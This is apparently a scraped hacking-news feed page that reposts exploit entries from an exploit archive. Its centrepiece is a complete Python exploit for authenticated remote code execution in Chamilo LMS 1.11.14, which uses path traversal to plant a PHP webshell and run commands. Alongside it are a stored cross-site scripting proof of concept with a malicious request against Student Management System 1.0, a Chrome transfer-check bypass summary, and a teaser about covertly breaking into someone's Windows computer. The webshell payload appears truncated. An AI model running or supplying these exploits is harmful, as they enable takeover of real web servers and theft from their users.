Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Chrome Array Transfer Bypass

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
The fix for CVE-2021-21148 has added a check in |ValueSerializer::WriteJSArrayBuffer| to make sure non-detachable array buffers cannot be transferred. The check can be bypassed with the help of asm.js and property getters.

MD5 | 2c54899cf0b5cf9ab027a5329061b62e

Download
Source:packetstormsecurity.com

7 views14:47

Photo

Exploit Collector
Chamilo LMS 1.11.14 Remote Code Execution

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Chamilo LMS version 1.11.14 authenticated remote code execution exploit.

MD5 | 5a8f8f1545cefe375862b9f2c4609083

Download

# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/

from requests import Session
from random import choice
from string import ascii_lowercase

import requests

# This is all configuration stuff, 
url = "http://127.0.0.1/chamilo-lms/"  # URL to remote host web root
user_name = "admin"  # User must be an administrator
password = "admin"
command = "id;whoami"

# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/' 
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php" 

def main():
# Run a context manager with a session object to hold login session after login
with Session() as s:
login_url = f"{url}index.php"
login_data = {
"login": user_name,
"password": password
}
r = s.post(login_url, data=login_data) # login request

# Check to see if login as admin user was successful.
if "admin" not in r.url:
print(f"[-] Login as {user_name} failed. Need to be admin")
return
print(f"[+] Logged in as {user_name}")
print(f"[+] Cookie: {s.cookies}")
file_upload_url = f"{url}main/upload/upload.php"
# The 'curdirpath' is not santitized, so I traverse to  the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
php_webshell_file = {
"curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
"user_upload": (webshell_name, content)
}

## Good command if you want to see what the request looks like without sending
# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))

# Two requests required to actually upload the file
for i in range(2):
s.post(file_upload_url, files=php_webshell_file)

exploit_request_url = f"{url}{webshell_path}{webshell_name}"
print("[+] Upload complete!")
print(f"[+] Webshell: {exploit_request_url}")

# This is a GET request to the new webshell to trigger code execution
command_output = s.get(exploit_request_url)
print("[+] Command output:\n")
print(command_output.text)
if __name__ == "__main__":
main()

Source:packetstormsecurity.com

8 views14:47

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Student Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Student Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5461c3ba471eba425783842dcc1f9e29

Download

# Exploit Title: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated)
# Date: 2021-05-13
# Exploit Author: mohsen khashei (kh4sh3i) or kh4sh3i@gmail.com
# Vendor Homepage: https://github.com/amirhamza05/Student-Management-System
# Software Link: https://github.com/amirhamza05/Student-Management-System/archive/refs/heads/master.zip
# Version: 1.0
# Tested on: ubuntu 20.04.2

# --- Description --- #

# The web application allows for an  Attacker to inject persistent Cross-Site-Scripting payload in Live Chat. 
# --- Proof of concept --- #

1- Login to Student Management System
2- Click on Live Chat button
3- Inject this payload and send : <image
5- Xss popup will be triggered.
# --- Malicious Request --- #

POST /nav_bar_action.php HTTP/1.1
Host: (HOST)
Cookie: (PHPSESSID)
Content-Length: 96

send_message_chat%5Bmessage%5D=<image

Source:packetstormsecurity.com

10 views14:47

Hacking Articles Tips Tricks Videos Tutorials

8 views14:53

Hacking Articles Tips Tricks Videos Tutorials

8 views14:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Website Hacking and Wi-Fi Hacking for 2021

Description

Do you want to learn the techniques to test the security of your Wi-Fi? Are you a Student of Cyber Security OR Are you a…

Continue reading on Medium »

8 views14:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Ethical Hacking: Introduction to Ethical Hacking

Description

Continue reading on Medium »

8 views14:53

Hacking Articles Tips Tricks Videos Tutorials

11 views14:53

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Bypass Login on windows— Hack into Someone’s Computer without Them Knowing

https://cdn-images-1.medium.com/max/800/1*-dX4e0k_-_X2R5wvyLp5Pw.jpeg
Although bypassing the Windows login screen is difficult, it is certainly possible. Using the Windows installation drive and the Command…

Continue reading on Medium »

12 views14:53

Hacking Articles Tips Tricks Videos Tutorials